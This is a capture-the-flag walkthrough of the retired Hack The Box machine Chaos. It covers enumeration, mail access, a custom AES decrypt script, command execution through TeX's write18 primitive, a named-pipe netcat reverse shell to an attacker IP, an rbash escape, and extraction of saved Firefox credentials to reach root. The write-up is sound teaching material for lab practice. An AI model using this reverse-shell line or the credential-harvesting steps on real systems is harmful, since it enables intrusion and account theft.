This post documents the complete walkthrough of Chaos, a retired vulnerable VM created by sahay, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Chaos is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.120 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.34 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.34 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d |_pop3-capabilities: UIDL AUTH-RESP-CODE SASL PIPELINING STLS TOP CAPA RESP-CODES | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Issuer: commonName=chaos | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-10-28T10:01:49 | Not valid after: 2028-10-25T10:01:49 | MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92 |_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba |_ssl-date: TLS randomness does not represent time 143/tcp open imap syn-ack ttl 63 Dovecot imapd (Ubuntu) |_imap-capabilities: OK IDLE capabilities post-login LITERAL+ STARTTLS more LOGIN-REFERRALS have listed Pre-login SASL-IR LOGINDISABLEDA0001 ID ENABLE IMAP4rev1 | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Issuer: commonName=chaos | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-10-28T10:01:49 | Not valid after: 2028-10-25T10:01:49 | MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92 |_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap syn-ack ttl 63 Dovecot imapd (Ubuntu) |_imap-capabilities: OK IDLE capabilities post-login LITERAL+ more LOGIN-REFERRALS have AUTH=PLAINA0001 listed SASL-IR Pre-login ID ENABLE IMAP4rev1 | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Issuer: commonName=chaos | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-10-28T10:01:49 | Not valid after: 2028-10-25T10:01:49 | MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92 |_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3 syn-ack ttl 63 Dovecot pop3d |_pop3-capabilities: UIDL AUTH-RESP-CODE SASL(PLAIN) PIPELINING USER TOP CAPA RESP-CODES | ssl-cert: Subject: commonName=chaos | Subject Alternative Name: DNS:chaos | Issuer: commonName=chaos | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-10-28T10:01:49 | Not valid after: 2028-10-25T10:01:49 | MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92 |_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba |_ssl-date: TLS randomness does not represent time 10000/tcp open http syn-ack ttl 63 MiniServ 1.890 (Webmin httpd) |_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

nmap finds 80/tcp , 110/tcp , 143/tcp , 993/tcp , 995/tcp , and my oh my 10000/tcp open. I haven’t seen Webmin in a long time. In any case, let’s go with the http service first. This is how the site looks like.

Hmm. Must have something to do with the Host request header. Let’s map 10.10.10.120 to chaos.htb in /etc/hosts . Once you have done that, this is how the site looks like.

Directory/File Enumeration

Let’s use wfuzz on the site and see what we can find.

# wfuzz -w common.txt --hc 404 http://chaos.htb/FUZZ ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: http://chaos.htb/FUZZ Total requests: 4593 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000010: C=403 11 L 32 W 288 Ch ".hta" 000011: C=403 11 L 32 W 293 Ch ".htaccess" 000012: C=403 11 L 32 W 293 Ch ".htpasswd" 001232: C=301 9 L 28 W 304 Ch "css" 002073: C=301 9 L 28 W 304 Ch "img" 002094: C=200 222 L 550 W 6964 Ch "index.html" 002218: C=301 9 L 28 W 311 Ch "javascript" 002250: C=301 9 L 28 W 303 Ch "js" 003597: C=403 11 L 32 W 297 Ch "server-status" 003758: C=301 9 L 28 W 307 Ch "source" Total time: 93.69892 Processed Requests: 4593 Filtered Requests: 4583 Requests/sec.: 49.01870

Wait a tick, there’s nothing interesting to see. Maybe because of the virtual host configuration? Let’s try wfuzz on the IP instead.

# wfuzz -w common.txt --hc 404 http://10.10.10.120/FUZZ ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.120/FUZZ Total requests: 4593 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000011: C=403 11 L 32 W 296 Ch ".htaccess" 000012: C=403 11 L 32 W 296 Ch ".htpasswd" 000010: C=403 11 L 32 W 291 Ch ".hta" 002094: C=200 1 L 5 W 73 Ch "index.html" 002218: C=301 9 L 28 W 317 Ch "javascript" 003597: C=403 11 L 32 W 300 Ch "server-status" 004447: C=301 9 L 28 W 309 Ch "wp" Total time: 93.98760 Processed Requests: 4593 Filtered Requests: 4586 Requests/sec.: 48.86814

What do you know? WordPress is installed!

WordPress Protected Post

This is how the blog looks like. You can see that there’s a protected post.

After much guessing , the password is human .

Webmail

Let’s verify the webmail credentials with IMAPS. IMAPS seem to be more likely to be powering webmail. We can use openssl s_client , very much like nc , to connect to SSL-enabled services.

# openssl s_client -crlf -connect 10.10.10.120:993

Awesome. The credentials work. Let’s LIST the mail boxes.

The only mail exists in Drafts.

Let’s read the mail.

a FETCH 1 BODY[] * 1 FETCH (BODY[] {2532} MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_00b34a28b9033c43ed09c0950f4176e1" Date: Sun, 28 Oct 2018 17:46:38 +0530 From: ayush <[email protected]> To: undisclosed-recipients:; Subject: service Message-ID: <[email protected]> X-Sender: [email protected] User-Agent: Roundcube Webmail/1.3.8 --=_00b34a28b9033c43ed09c0950f4176e1 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Hii, sahay Check the enmsg.txt You are the password XD. Also attached the script which i used to encrypt. Thanks, Ayush --=_00b34a28b9033c43ed09c0950f4176e1 Content-Transfer-Encoding: base64 Content-Type: application/octet-stream; name=enim_msg.txt Content-Disposition: attachment; filename=enim_msg.txt; size=272 MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9 RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M 7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e 6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge +l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08= --=_00b34a28b9033c43ed09c0950f4176e1 Content-Transfer-Encoding: base64 Content-Type: text/x-python; charset=us-ascii; name=en.py Content-Disposition: attachment; filename=en.py; size=804 ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0 RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6 ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2 KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3 KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl c3QoKQoK --=_00b34a28b9033c43ed09c0950f4176e1-- ) a OK Fetch completed (0.002 + 0.000 + 0.001 secs).

There are two attachments to the email: an encrypted message and an incomplete Python encryptor code.

en.py

def encrypt ( key , filename ): chunksize = 64 * 1024 outputFile = "en" + filename filesize = str ( os . path . getsize ( filename )). zfill ( 16 ) IV = Random . new (). read ( 16 ) encryptor = AES . new ( key , AES . MODE_CBC , IV ) with open ( filename , 'rb' ) as infile : with open ( outputFile , 'wb' ) as outfile : outfile . write ( filesize . encode ( 'utf-8' )) outfile . write ( IV ) while True : chunk = infile . read ( chunksize ) if len ( chunk ) == 0 : break elif len ( chunk ) % 16 != 0 : chunk += b' ' * ( 16 - ( len ( chunk ) % 16 )) outfile . write ( encryptor . encrypt ( chunk )) def getKey ( password ): hasher = SHA256 . new ( password . encode ( 'utf-8' )) return hasher . digest ()

It’s not difficult to write a decrypt function, once you know where the IV is stored, and the cipher and mode of operation used. Here’s the complete code, with the correct imports.

crypto.py

from Crypto import Random from Crypto.Cipher import AES from Crypto.Hash import SHA256 import os import sys def encrypt ( key , filename ): chunksize = 64 * 1024 outputFile = "en" + filename filesize = str ( os . path . getsize ( filename )). zfill ( 16 ) IV = Random . new (). read ( 16 ) encryptor = AES . new ( key , AES . MODE_CBC , IV ) with open ( filename , 'rb' ) as infile : with open ( outputFile , 'wb' ) as outfile : outfile . write ( filesize . encode ( 'utf-8' )) outfile . write ( IV ) while True : chunk = infile . read ( chunksize ) if len ( chunk ) == 0 : break elif len ( chunk ) % 16 != 0 : chunk += b' ' * ( 16 - ( len ( chunk ) % 16 )) outfile . write ( encryptor . encrypt ( chunk )) def decrypt ( key , filename ): chunksize = 64 * 1024 outputFile = filename . split ( 'en' )[ 1 ] with open ( filename , 'rb' ) as infile : filesize = int ( infile . read ( 16 )) IV = infile . read ( 16 ) decryptor = AES . new ( key , AES . MODE_CBC , IV ) with open ( outputFile , 'wb' ) as outfile : while True : chunk = infile . read ( chunksize ) if len ( chunk ) == 0 : break outfile . write ( decryptor . decrypt ( chunk )) outfile . truncate ( filesize ) def getKey ( password ): hasher = SHA256 . new ( password . encode ( 'utf-8' )) return hasher . digest () def usage (): print "python crypto.py [-e|-d] [filename]" def main (): if ( len ( sys . argv ) != 1 ): if ( sys . argv [ 1 ] == '-e' ): encrypt ( getKey ( 'sahay' ), sys . argv [ 2 ]) elif ( sys . argv [ 1 ] == '-d' ): decrypt ( getKey ( 'sahay' ), sys . argv [ 2 ]) else : usage () else : usage () if __name__ == '__main__' : main ()

The message after decryption is a base64 -encoded message. This is the message after decoding.

Low-Privilege Shell

This is how the new service looks like.

The service creates PDFs based on templates. Digging into the JavaScript, it’s obvious that the service creates PDFs based on TeX templates modified through PHP.

Notice that there’s no element with the ID output . It’s easy to create a <textarea> with the ID output using jQuery since that’s available.

$ ( ' body ' ). append ( ' <textarea id="output" style="width: 100%; height: 200px;"> ' )

Template 2 and 3 are working. More importantly, a TeX primitive write18 that executes command is exposed.

With that in mind, let’s see if our beloved nc is available on the host.

Awesome. Too bad, the -e is not available. Fret not, we can still make do with something like this.

rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 10.10.13.52 1234 >/tmp/p

True enough, a reverse shell appears on my nc listener.

Let’s upgrade the shell with Python’s pty module and some stty magic.

Sweet.

Privilege Escalation

Now, let’s see if we can su ourselves to ayush with the password jiujitsu obtained earlier. Before we do that, know that ayush ’s default shell is rbash .

We can always bypass rbash like this.

The user.txt is at ayush ’s home directory.

During enumeration of ayush ’s account, I noticed the presence of a Mozilla Firefox profile, complete with saved logins to the Webmin interface.

The saved credentials are protected by a master password. I copied the entire profile to a new profile on my attacking machine. And, since this is ayush ’s Firefox profile, the master password is jiujitsu as well.

The root password can be seen after the unlock.